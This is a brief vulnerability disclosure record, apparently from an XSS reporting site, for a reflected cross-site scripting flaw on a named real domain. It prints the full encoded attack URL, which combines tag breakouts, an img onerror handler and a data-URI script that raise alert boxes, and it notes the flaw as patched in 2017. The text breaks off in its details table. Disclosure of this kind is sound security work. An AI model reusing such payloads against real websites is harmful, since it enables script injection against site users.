secure.chamsys.co.uk XSS vulnerability

Vulnerable URL: https://secure.chamsys.co.uk/?page=%3C/title%3E%3C/script/%22-alert%280%29-%22--%3E%3Cimg/onerror=%27;alert%281%29;%27src=1%3E%3Cscript/src=data:,alert%28/XSSPOSED/%29-%26quot;%22%3E Details: Description| Value ---|--- Patched:| Yes, at 23.11.2017 Latest check for patch:| 23.11.20...